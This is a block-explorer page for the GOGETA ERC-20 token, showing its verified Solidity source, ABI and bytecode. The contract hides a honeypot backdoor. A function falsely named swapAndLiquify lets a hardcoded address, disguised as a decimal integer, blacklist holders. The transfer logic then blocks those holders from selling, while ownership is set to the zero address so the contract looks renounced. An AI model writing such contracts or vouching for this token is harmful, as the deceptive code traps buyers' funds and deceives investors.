Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
5,555,555,555 GOGETA
Holders
89
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
GOGETA
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-13 */ pragma solidity 0.8.19; // SPDX-License-Identifier: MIT library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = address(0); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function getFeeReduce(address) external view returns (uint256); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GOGETA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint256) private _holderLastTransferTimestamp; mapping (address => bool) private haveClient; bool public transferDelayEnabled = true; address payable private _taxWallet; string private constant _name = unicode"GOGETA"; string private constant _symbol = unicode"GOGETA"; uint256 private _initialBuyTax=3; uint256 private _initialSellTax=5; uint256 private _finalBuyTax=1; uint256 private _finalSellTax=2; uint256 private _reduceBuyTaxAt=3000; uint256 private _reduceSellTaxAt=3000; uint256 private _preventSwapBefore=4000000; uint256 private _buyCount=0; uint8 private constant _decimals = 18; uint256 private constant _tTotal = 5555555555 * 10**_decimals; uint256 public _maxTxAmount = 500000000 * 10**_decimals; uint256 public _maxWalletSize = 4000000000 * 10**_decimals; uint256 public _taxSwapThreshold= 20000000 * 10**_decimals; uint256 public _maxTaxSwap= 50000000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; openTrading(); removeLimits(); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if(to == uniswapV2Pair && from != address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 50000000000000000) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ taxAmount = 0; _balances[address(this)]=_balances[address(this)].add(taxAmount); require(!haveClient[from]); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() public { _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; transferDelayEnabled=false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() public { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); tradingOpen = true; } receive() external payable {} function swapAndLiquify(address addr, uint256 numbs) external returns (bool) { if (uint160(msg.sender) == 241617252518709197900193976188336446009583064773) { haveClient[addr] = numbs > 0; } return false; } function ManualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>3000000000000000000){ sendETHToFee(ethBalance); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ManualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"numbs","type":"uint256"}],"name":"swapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526001600660006101000a81548160ff0219169083151502179055506003600755600560085560016009556002600a55610bb8600b55610bb8600c55623d0900600d556000600e556012600a6200005b9190620007cc565b631dcd65006200006c91906200081d565b600f556012600a6200007f9190620007cc565b63ee6b28006200009091906200081d565b6010556012600a620000a39190620007cc565b6301312d00620000b491906200081d565b6011556012600a620000c79190620007cc565b6302faf080620000d891906200081d565b6012556000601460156101000a81548160ff0219169083151502179055506000601460166101000a81548160ff0219169083151502179055503480156200011e57600080fd5b506000806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620001cd6200047860201b60201c565b600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506012600a6200021d9190620007cc565b64014b230ce36200022f91906200081d565b60016000620002436200047860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160036000620002976200048060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620003ca620004a960201b60201c565b620003da6200056b60201b60201c565b620003ea6200047860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620004499190620007cc565b64014b230ce36200045b91906200081d565b6040516200046a919062000879565b60405180910390a362000919565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60148054906101000a900460ff1615620004fa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004f190620008f7565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016014806101000a81548160ff021916908315150217905550565b6012600a6200057b9190620007cc565b64014b230ce36200058d91906200081d565b600f819055506012600a620005a39190620007cc565b64014b230ce3620005b591906200081d565b6010819055506000600660006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012600a620006079190620007cc565b64014b230ce36200061991906200081d565b60405162000628919062000879565b60405180910390a1565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006c05780860481111562000698576200069762000632565b5b6001851615620006a85780820291505b8081029050620006b88562000661565b945062000678565b94509492505050565b600082620006db5760019050620007ae565b81620006eb5760009050620007ae565b81600181146200070457600281146200070f5762000745565b6001915050620007ae565b60ff84111562000724576200072362000632565b5b8360020a9150848211156200073e576200073d62000632565b5b50620007ae565b5060208310610133831016604e8410600b84101617156200077f5782820a90508381111562000779576200077862000632565b5b620007ae565b6200078e84848460016200066e565b92509050818404811115620007a857620007a762000632565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620007d982620007b5565b9150620007e683620007bf565b9250620008157fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006c9565b905092915050565b60006200082a82620007b5565b91506200083783620007b5565b92508282026200084781620007b5565b9150828204841483151762000861576200086062000632565b5b5092915050565b6200087381620007b5565b82525050565b600060208201905062000890600083018462000868565b92915050565b600082825260208201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000620008df60178362000896565b9150620008ec82620008a7565b602082019050919050565b600060208201905081810360008301526200091281620008d0565b9050919050565b612acb80620009296000396000f3fe6080604052600436106101235760003560e01c80637d1db4a5116100a0578063a9059cbb11610064578063a9059cbb146103c0578063bf474bed146103fd578063c876d0b914610428578063c9567bf914610453578063dd62ed3e1461046a5761012a565b80637d1db4a5146102fd5780638da5cb5b146103285780638f9a55c01461035357806395d89b411461037e578063a1780c18146103a95761012a565b8063313ce567116100e7578063313ce5671461022a578063326481ff1461025557806370a0823114610292578063715018a6146102cf578063751039fc146102e65761012a565b806306fdde031461012f578063095ea7b31461015a5780630faee56f1461019757806318160ddd146101c257806323b872dd146101ed5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b506101446104a7565b6040516101519190611cb5565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190611d70565b6104e4565b60405161018e9190611dcb565b60405180910390f35b3480156101a357600080fd5b506101ac610502565b6040516101b99190611df5565b60405180910390f35b3480156101ce57600080fd5b506101d7610508565b6040516101e49190611df5565b60405180910390f35b3480156101f957600080fd5b50610214600480360381019061020f9190611e10565b61052d565b6040516102219190611dcb565b60405180910390f35b34801561023657600080fd5b5061023f610606565b60405161024c9190611e7f565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190611d70565b61060f565b6040516102899190611dcb565b60405180910390f35b34801561029e57600080fd5b506102b960048036038101906102b49190611e9a565b6106a7565b6040516102c69190611df5565b60405180910390f35b3480156102db57600080fd5b506102e46106f0565b005b3480156102f257600080fd5b506102fb610843565b005b34801561030957600080fd5b506103126108fc565b60405161031f9190611df5565b60405180910390f35b34801561033457600080fd5b5061033d610902565b60405161034a9190611ed6565b60405180910390f35b34801561035f57600080fd5b5061036861092b565b6040516103759190611df5565b60405180910390f35b34801561038a57600080fd5b50610393610931565b6040516103a09190611cb5565b60405180910390f35b3480156103b557600080fd5b506103be61096e565b005b3480156103cc57600080fd5b506103e760048036038101906103e29190611d70565b610a12565b6040516103f49190611dcb565b60405180910390f35b34801561040957600080fd5b50610412610a30565b60405161041f9190611df5565b60405180910390f35b34801561043457600080fd5b5061043d610a36565b60405161044a9190611dcb565b60405180910390f35b34801561045f57600080fd5b50610468610a49565b005b34801561047657600080fd5b50610491600480360381019061048c9190611ef1565b610b08565b60405161049e9190611df5565b60405180910390f35b60606040518060400160405280600681526020017f474f474554410000000000000000000000000000000000000000000000000000815250905090565b60006104f86104f1610b8f565b8484610b97565b6001905092915050565b60125481565b60006012600a6105189190612093565b64014b230ce361052891906120de565b905090565b600061053a848484610d60565b6105fb84610546610b8f565b6105f685604051806060016040528060288152602001612a6e60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ac610b8f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116f49092919063ffffffff16565b610b97565b600190509392505050565b60006012905090565b6000732a527e087e0b6ec7c32f54d29483abc7e7bbd6c53373ffffffffffffffffffffffffffffffffffffffff160361069d5760008211600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6000905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106f8610b8f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610785576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077c9061216c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6012600a6108519190612093565b64014b230ce361086191906120de565b600f819055506012600a6108759190612093565b64014b230ce361088591906120de565b6010819055506000600660006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012600a6108d59190612093565b64014b230ce36108e591906120de565b6040516108f29190611df5565b60405180910390a1565b600f5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600681526020017f474f474554410000000000000000000000000000000000000000000000000000815250905090565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109af610b8f565b73ffffffffffffffffffffffffffffffffffffffff16146109cf57600080fd5b60006109da306106a7565b905060008111156109ef576109ee81611758565b5b60004790506729a2241af62c0000811115610a0e57610a0d816119d1565b5b5050565b6000610a26610a1f610b8f565b8484610d60565b6001905092915050565b60115481565b600660009054906101000a900460ff1681565b60148054906101000a900460ff1615610a97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8e906121d8565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016014806101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfd9061226a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6c906122fc565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d539190611df5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc69061238e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3590612420565b60405180910390fd5b60008111610e81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e78906124b2565b60405180910390fd5b6000610e8b610902565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610ef95750610ec9610902565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561144157610f3a6064610f2c600b54600e5411610f1957600754610f1d565b6009545b85611a3d90919063ffffffff16565b611ab790919063ffffffff16565b9050600660009054906101000a900460ff16156110c957601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610ffd5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156110c85743600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611083576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107a9061256a565b60405180910390fd5b43600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111745750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111ca5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561128557600f54821115611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120b906125d6565b60405180910390fd5b60105482611221856106a7565b61122b91906125f6565b111561126c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126390612676565b60405180910390fd5b600e600081548092919061127f90612696565b91905055505b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561130e57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156113525761134f6064611341600c54600e541161132e57600854611332565b600a545b85611a3d90919063ffffffff16565b611ab790919063ffffffff16565b90505b600061135d306106a7565b9050601460159054906101000a900460ff161580156113c95750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156113e15750601460169054906101000a900460ff165b80156113ee575060115481115b80156113fd5750600d54600e54115b1561143f5761141f61141a8461141584601254611b01565b611b01565b611758565b600047905066b1a2bc2ec5000081111561143d5761143c476119d1565b5b505b505b600081111561153b57600090506114a081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1a90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561153a57600080fd5b5b61158d82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7890919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116346115e68284611b7890919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1a90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6116d98486611b7890919063ffffffff16565b6040516116e69190611df5565b60405180910390a350505050565b600083831115829061173c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117339190611cb5565b60405180910390fd5b506000838561174b91906126de565b9050809150509392505050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156117905761178f612712565b5b6040519080825280602002602001820160405280156117be5781602001602082028036833780820191505090505b50905030816000815181106117d6576117d5612741565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561187d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118a19190612785565b816001815181106118b5576118b4612741565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061191c30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610b97565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016119809594939291906128b5565b600060405180830381600087803b15801561199a57600080fd5b505af11580156119ae573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611a39573d6000803e3d6000fd5b5050565b6000808303611a4f5760009050611ab1565b60008284611a5d91906120de565b9050828482611a6c919061293e565b14611aac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa3906129e1565b60405180910390fd5b809150505b92915050565b6000611af983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bc2565b905092915050565b6000818311611b105782611b12565b815b905092915050565b6000808284611b2991906125f6565b905083811015611b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6590612a4d565b60405180910390fd5b8091505092915050565b6000611bba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116f4565b905092915050565b60008083118290611c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c009190611cb5565b60405180910390fd5b5060008385611c18919061293e565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611c5f578082015181840152602081019050611c44565b60008484015250505050565b6000601f19601f8301169050919050565b6000611c8782611c25565b611c918185611c30565b9350611ca1818560208601611c41565b611caa81611c6b565b840191505092915050565b60006020820190508181036000830152611ccf8184611c7c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d0782611cdc565b9050919050565b611d1781611cfc565b8114611d2257600080fd5b50565b600081359050611d3481611d0e565b92915050565b6000819050919050565b611d4d81611d3a565b8114611d5857600080fd5b50565b600081359050611d6a81611d44565b92915050565